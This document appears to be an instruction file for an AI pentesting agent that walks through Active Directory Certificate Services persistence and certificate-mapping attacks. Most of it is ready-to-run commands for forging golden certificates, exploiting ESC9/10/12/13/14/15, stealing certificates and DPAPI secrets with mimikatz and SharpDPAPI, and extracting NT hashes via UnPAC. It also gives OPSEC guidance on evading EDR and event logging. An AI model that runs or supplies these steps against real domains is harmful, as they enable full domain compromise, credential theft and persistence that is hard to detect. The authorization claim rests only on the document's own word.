ADCS Persistence & Certificate Mapping Attacks

You are helping a penetration tester establish persistence through AD CS certificate abuse and exploit weak certificate mapping configurations. All testing is under explicit written authorization.

Kerberos-first authentication: Certificate authentication uses PKINIT (pure Kerberos) by default. Post-exploitation operations use ccache-based Kerberos to avoid NTLM detection (Event 4776, CrowdStrike Identity Module).

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [adcs-persistence] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Varies by technique (see individual sections)
• Tools: certipy, Certify.exe, ForgeCert, mimikatz, SharpDPAPI, Rubeus, openssl

Kerberos-first workflow:

cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache

Tool output directory: getTGT.py, certipy req, certipy auth, and certipy shadow all write output files to CWD with no output-path flag. Always prefix these commands with cd $TMPDIR && to keep files out of the working directory. getTGT.py does NOT support -out — CWD is the only control. When saving evidence, use mv (not cp) to avoid stray duplicates:

mv $TMPDIR/administrator.pfx engagement/evidence/administrator-esc9.pfx
mv $TMPDIR/administrator.ccache engagement/evidence/administrator-esc9.ccache

Overview: Technique Selection

Technique	Access Required	Persistence Duration	OPSEC
Golden Certificate	CA admin / CA server access	Until CA cert expires (5-10+ years)	Medium
User cert persistence	Any user	Until cert expires (1-2 years, renewable)	Low
Machine cert persistence	SYSTEM on target	Until cert expires	Low
altSecIdentities mapping	Write on target user	Until mapping removed	Low
Enrollment agent	Enrollment Agent template access	Until agent cert revoked	Medium
ESC9/10 mapping bypass	GenericWrite + weak mapping config	Per-certificate lifetime	Medium
ESC13 issuance policy	Enrollment rights on linked template	Per-certificate lifetime	Low
ESC14 explicit mapping	Write on target altSecIdentities	Until mapping removed	Low
ESC15 application policies	Schema v1 template with ESS	Per-certificate lifetime	Medium
Certificate theft	Access to cert store / DPAPI keys	Until cert expires or revoked	Low-Medium

Decision tree

What do you have?
├── CA server access or CA admin → Golden Certificate (Step 1)
├── Any domain user → User cert persistence (Step 2)
├── SYSTEM on a machine → Machine cert persistence (Step 2) + cert theft (Step 4)
├── GenericWrite on accounts + weak mapping → ESC9/10 (Step 3)
├── Write on altSecIdentities → ESC14 / explicit mapping (Step 5)
├── Enrollment rights on OID-linked template → ESC13 (Step 6)
├── Schema v1 template with ESS → ESC15 (Step 7)
├── CA uses YubiHSM → ESC12 (Step 8)
└── Want to steal existing certs → Certificate theft (Step 4)

Step 1: Golden Certificate

Forge certificates signed with the stolen CA private key. Valid until the CA certificate expires (typically 5-10+ years). Cannot be revoked (unknown to CA database). The most powerful ADCS persistence mechanism.

Obtain CA certificate with private key

# Certipy — backup CA cert + key (requires CA admin)
certipy ca -k -no-pass -target CA.DOMAIN.LOCAL -ca 'DOMAIN-CA' -backup

# certutil (on CA server)
certutil -backupKey -f -p 'BackupPassword' C:\Windows\Tasks\ca-backup

# Mimikatz (on CA server — patch CAPI/CNG then export)
mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

# GUI: certsrv.msc → Right-click CA → All Tasks → Back up CA
# Check "Private key and CA certificate"

Forge certificate for any user

# Certipy — forge with SID (required for KB5014754 Full Enforcement)
certipy forge -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500' \
  -crl 'ldap:///'

# Certipy — copy extensions from existing certificate template
certipy forge -template existing-cert.pfx -ca-pfx DOMAIN-CA.pfx \
  -upn administrator@domain.local \
  -sid 'S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500'

# ForgeCert (C# / Windows)
ForgeCert.exe --CaCertPath DOMAIN-CA.pfx --CaCertPassword 'BackupPass' \
  --Subject "CN=Administrator" --SubjectAltName administrator@domain.local \
  --NewCertPath admin_forged.pfx --NewCertPassword 'CertPass'

# Certify (C# / Windows)
Certify.exe forge --ca-cert DOMAIN-CA.pfx --ca-cert-password 'BackupPass' \
  --upn administrator@domain.local \
  --sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-500

Critical parameters:

• -crl 'ldap:///': CRL distribution point — KDC checks for CDP presence and errors without it. Always include.
• -sid: Object SID — required for KB5014754 Full Enforcement (Feb 2025). Without it, PKINIT fails on modern DCs.
• -template: Copy Key Usage, Basic Constraints, and AIA extensions from an existing certificate for better stealth.

Authenticate with forged certificate

# Certipy — PKINIT auth
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP

# Rubeus
Rubeus.exe asktgt /user:administrator /certificate:admin_forged.pfx \
  /password:CertPass /ptt

# If PKINIT fails — LDAPS fallback
certipy auth -pfx administrator_forged.pfx -dc-ip DC_IP -ldap-shell

Step 2: User and Machine Certificate Persistence

Request legitimate certificates that survive password changes and provide persistent access for the certificate lifetime (1-2 years, renewable).

User certificate persistence

# Request certificate as current user (User template)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -template User

# Certify.exe
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:User

# Authenticate later (survives password changes)
certipy auth -pfx user.pfx -dc-ip DC_IP

Machine certificate persistence

# Request as machine account (requires SYSTEM)
Certify.exe request /ca:CA.DOMAIN.LOCAL\DOMAIN-CA /template:Machine /machine

# Authenticate — enables S4U2Self for service tickets
Rubeus.exe asktgt /user:HOSTNAME$ /certificate:machine.pfx \
  /password:CertPass /ptt

Certificate renewal (extend persistence)

# Renew before expiration — avoids new enrollment artifact
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template User -pfx user_old.pfx -renew -out user_renewed.pfx

# Windows native
certreq -enroll -user -cert SERIAL_OR_ID renew reusekeys

Renewed certificates automatically include the SID security extension, maintaining compatibility with KB5014754 Full Enforcement.

Step 3: ESC9 and ESC10 — Weak Certificate Mapping

These exploit weak certificate-to-account mapping configurations to authenticate as a different user than the certificate owner.

ESC9: No Security Extension

Conditions: StrongCertificateBindingEnforcement = 0 or 1 (default), template has CT_FLAG_NO_SECURITY_EXTENSION flag, template has client-auth EKU, attacker has GenericWrite over an intermediate account.

# Step 1: Shadow credentials on intermediate account (get their hash)
certipy shadow auto -username attacker@domain.local -password 'Pass' \
  -account intermediate

# Step 2: Change intermediate's UPN to target
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn Administrator

# Step 3: Request certificate from ESC9-vulnerable template
certipy req -username intermediate@domain.local -hashes :INTERMEDIATE_HASH \
  -ca 'DOMAIN-CA' -template 'ESC9Template'

# Step 4: Restore intermediate's UPN
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local

# Step 5: Authenticate — cert maps to Administrator via UPN (no SID check)
certipy auth -pfx administrator.pfx -domain domain.local -dc-ip DC_IP

ESC10: Weak Certificate Mapping Methods

Variant 1: StrongCertificateBindingEnforcement = 0 (no SID binding at all)

# Same workflow as ESC9 but works with any template
certipy shadow auto -username attacker@domain.local -password 'Pass' \
  -account intermediate
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn administrator
certipy req -username intermediate@domain.local -hashes :HASH \
  -ca 'DOMAIN-CA' -template User
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local
certipy auth -pfx administrator.pfx -dc-ip DC_IP

Variant 2: CertificateMappingMethods includes UPN mapping (0x04)

# Map to computer account by changing UPN to computer$@domain
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn 'DC$@domain.local'
certipy req -username intermediate@domain.local -hashes :HASH \
  -ca 'DOMAIN-CA' -template User
certipy account update -username attacker@domain.local -password 'Pass' \
  -user intermediate -upn intermediate@domain.local
# Authenticate — may need LDAP shell for machine accounts
certipy auth -pfx 'DC$.pfx' -dc-ip DC_IP -ldap-shell

Check mapping configuration

# StrongCertificateBindingEnforcement (DC registry)
# 0 = no enforcement, 1 = compatibility (default pre-Feb 2025), 2 = full
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" \
  /v StrongCertificateBindingEnforcement

# CertificateMappingMethods (DC registry)
reg query "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel" \
  /v CertificateMappingMethods
# 0x04 = UPN mapping enabled (vulnerable)

Step 4: Certificate Theft

Steal existing certificates from compromised hosts. No new enrollment artifacts — uses existing certificates.

THEFT1: Export via Crypto APIs

# Mimikatz — patch CAPI/CNG and export all certs
mimikatz.exe "crypto::capi" "crypto::cng" \
  "crypto::certificates /export /systemstore:CURRENT_USER"

# Machine certificates (requires SYSTEM)
mimikatz.exe "crypto::capi" "crypto::cng" \
  "crypto::certificates /export /systemstore:LOCAL_MACHINE"

THEFT2: User certificates via DPAPI

# Locate private keys
# CAPI: %APPDATA%\Microsoft\Crypto\RSA\<User-SID>\
# CNG:  %APPDATA%\Microsoft\Crypto\Keys\

# Get DPAPI masterkey (in user context)
mimikatz.exe "dpapi::masterkey /in:C:\Users\user\AppData\Roaming\Microsoft\Protect\<SID>\<GUID> /rpc"

# SharpDPAPI — automated user cert extraction
SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt

# Convert PEM to PFX
openssl pkcs12 -in cert.pem -keyex \
  -CSP "Microsoft Enhanced Cryptographic Provider v1.0" \
  -export -out cert.pfx

THEFT3: Machine certificates via DPAPI

# Requires SYSTEM access
# Machine keys: %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys
# CNG keys: %ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys

# Extract DPAPI_SYSTEM LSA secret
mimikatz.exe "lsadump::secrets"
# Use DPAPI_SYSTEM to decrypt machine private keys

# SharpDPAPI — automated (escalates to SYSTEM internally)
SharpDPAPI.exe certificates /machine

THEFT4: Certificates from filesystem

# Search for certificate files
Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx,*.p12,*.pkcs12,*.pem,*.key

# Extract hash from password-protected PFX for offline cracking
pfx2john.py certificate.pfx > engagement/evidence/pfx-hash.txt

Do NOT crack hashes in this skill. Save the PFX hash to engagement/evidence/ and return to the orchestrator with the hash file path, hash type (PFX / hashcat mode 12400), and a routing recommendation to credential-recovery.

THEFT5: UnPAC the Hash (NTLM from PKINIT)

Extract NT hash from a TGT obtained via certificate — no LSASS touch required.

# Certipy — automatic UnPAC
certipy auth -pfx user.pfx -dc-ip DC_IP
# Output includes NT hash

# getnthash.py (PKINITtools)
export KRB5CCNAME=user.ccache
getnthash.py -key 'AS-REP-encryption-key' DOMAIN/user

# Rubeus
Rubeus.exe asktgt /user:target /certificate:cert.pfx \
  /password:CertPass /getcredentials

Step 5: ESC14 — altSecIdentities Explicit Mapping

Conditions: Write access to target's altSecurityIdentities attribute. Map your certificate to a victim account for persistent authentication.

Mapping formats

Strong mappings (KB5014754-compatible, preferred):

Format	Example
X509IssuerSerialNumber	X509:<I>DC=local,DC=domain,CN=DOMAIN-CA<SR>1200000000AC11
X509SKI	X509:<SKI>abc123def456...
X509SHA1PublicKey	X509:<SHA1-PUKEY>abc123def456...

Weak mappings (deprecated, may be rejected on modern DCs):

Format	Example
X509IssuerSubject	X509:<I>IssuerName<S>SubjectName
X509SubjectOnly	X509:<S>SubjectName
X509RFC822	X509:<RFC822>user@domain.com

Exploitation

# Step 1: Obtain a certificate (request as yourself)
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' -template Machine

# Step 2: Extract certificate identifiers for mapping
certutil -Dump -v attacker.pfx
# Note Issuer and Serial Number

# Step 3: Add explicit mapping to victim account
# PowerShell
$Serial = '1200000000AC11000000002B'  # Reversed byte order from certutil
$Issuer = 'DC=local,DC=domain,CN=DOMAIN-CA'
$Map = "X509:<I>$Issuer<SR>$Serial"
Set-ADUser -Identity 'administrator' -Add @{altSecurityIdentities=$Map}

# Stifle.exe (dedicated tool)
Stifle.exe add /object:administrator /certificate:cert.pfx /password:CertPass

# Step 4: Authenticate as victim using your certificate
certipy auth -pfx attacker.pfx -dc-ip DC_IP
Rubeus.exe asktgt /user:administrator /certificate:attacker.pfx /password:CertPass

Cleanup

Set-ADUser -Identity 'administrator' -Remove @{altSecurityIdentities=$Map}

Step 6: ESC13 — Issuance Policy OID Group Link

Conditions: Template has issuance policy extension with OID linked to a group (typically Universal group). Enrollment rights granted. Client-auth EKU.

The certificate automatically grants membership in the linked group via issuance policy resolution.

# Enumerate vulnerable templates (certipy shows OID links)
certipy find -k -no-pass -dc-ip DC_IP -vulnerable -output engagement/evidence/certipy-adcs

# Request certificate from template with OID group link
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template 'ESC13Template'

# Authenticate — TGT includes group membership from OID link
Rubeus.exe asktgt /user:user /certificate:esc13.pfx /password:CertPass /nowrap
certipy auth -pfx esc13.pfx -dc-ip DC_IP

Step 7: ESC15 — Application Policies Override (CVE-2024-49019)

Conditions: Schema version 1 template, ENROLLEE_SUPPLIES_SUBJECT set, no manager approval, authenticationenabled = False.

Application Policies extension overrides the template's EKU. Inject client-auth EKU into templates that normally only allow server-auth (like WebServer).

Variant 1: ESC1-like via WebServer template

# Inject Client Authentication via application policies
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template WebServer -upn administrator@domain.local \
  --application-policies 'Client Authentication'

certipy auth -pfx administrator.pfx -dc-ip DC_IP -ldap-shell

Variant 2: ESC3-like via Certificate Request Agent

# Inject Certificate Request Agent OID
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template WebServer \
  --application-policies '1.3.6.1.4.1.311.20.2.1'

# Use agent cert to enroll on behalf of administrator
certipy req -k -no-pass -dc-ip DC_IP -ca 'DOMAIN-CA' \
  -template User -on-behalf-of 'DOMAIN\administrator' \
  -pfx agent.pfx

Note: Patched November 2024 (CVE-2024-49019). Only works on unpatched CAs.

Step 8: ESC12 — YubiHSM CA Key Extraction

Conditions: CA private key stored on YubiHSM2 device. Shell access on CA server.

# Extract YubiHSM password from registry
reg query "HKLM\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword"

# Generate certificate for target user
certipy req -target CA.DOMAIN.LOCAL -username user@domain.local -password 'Pass' \
  -template User

# Repair certificate with CA private key via YubiHSM provider
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my CA-COMMON-NAME

# Sign certificate with SAN extension
certutil -sign ./user.crt new.crt @extension.inf

# Authenticate
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx

Step 9: KB5014754 — Strong Certificate Binding Enforcement

Since February 2025, DCs enforce strong certificate binding by default.

Impact on persistence techniques

Technique	Impact	Workaround
Golden Certificate	Must include SID in forged cert	Use -sid flag in certipy forge
User cert persistence	Works (SID auto-included since May 2022)	None needed
ESC9/10	Blocked if enforcement = 2 (Full)	Only works with enforcement 0 or 1
altSecIdentities	Strong formats work, weak formats may be rejected	Use IssuerSerialNumber format
Enrollment agent	Works (cert maps to actual requester)	None needed

Check enforcement level

# On domain controller
reg query "HKLM\SYSTEM\CurrentControlSet\Services\Kdc" \
  /v StrongCertificateBindingEnforcement
# 0 = disabled, 1 = compatibility mode, 2 = full enforcement (default Feb 2025)

Step 10: Escalate or Pivot

After establishing persistence:

• Golden Certificate forged: Can impersonate any user indefinitely — route to credential-dumping for DCSync if needed
• Certificates stolen: Use for lateral movement — route to pass-the-hash (with NT hash from UnPAC) or authenticate directly
• ESC9/10 exploited: Escalate if additional templates are vulnerable
• altSecIdentities mapped: Persistent access to specific accounts — use for ongoing access
• Need domain-wide persistence: Combine golden cert + AdminSDHolder (acl-abuse) + golden ticket (kerberos-ticket-forging)

Troubleshooting

KDC_ERR_CERTIFICATE_MISMATCH (forged cert)

DC enforces strong certificate binding (KB5014754). Include -sid flag when forging: certipy forge -ca-pfx CA.pfx -upn admin@domain -sid S-1-5-21-...-500. Also include -crl 'ldap:///' for CDP extension.

PKINIT fails — KDC_ERR_PADATA_TYPE_NOSUPP

DC doesn't support PKINIT pre-auth. Use LDAPS/Schannel fallback: certipy auth -pfx cert.pfx -ldap-shell. From LDAP shell, set RBCD or modify attributes for alternative exploitation.

UnPAC returns empty hash

Certificate may not have PKINIT EKU, or DC's PAC_CREDENTIAL_INFO is empty. Try certipy auth -pfx cert.pfx -ldap-shell for LDAPS-based access instead.

Shadow credentials fails (ESC9/10)

Target account's msDS-KeyCredentialLink may be protected or monitored. Use targeted Kerberoasting or password change as alternative to shadow credentials for obtaining intermediate account access.

Certificate theft — non-exportable key

Mimikatz patches CAPI/CNG to bypass non-exportable flag: mimikatz.exe "crypto::capi" (current user) or "crypto::cng" (LSASS).

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC comparison

Technique	OPSEC	Detection Surface
Golden Certificate	Medium	CA backup event (if logged), forged cert not in CA DB
User cert persistence	Low	Standard enrollment event (4887), blends with normal
Machine cert persistence	Low	Standard enrollment, requires SYSTEM
Certificate theft (CAPI)	Low	In-process patch, no LSASS touch
Certificate theft (CNG)	Medium	LSASS memory patch detected by EDR
Certificate theft (DPAPI)	Low-Medium	Masterkey access, no LSASS patch
ESC9/10	Medium	UPN change events (4738), shadow cred events
ESC14 mapping	Low	altSecIdentities modification (5136)
ESC13 OID link	Low	Standard enrollment, group membership in TGT
ESC15 app policies	Medium	Non-standard application policy in cert request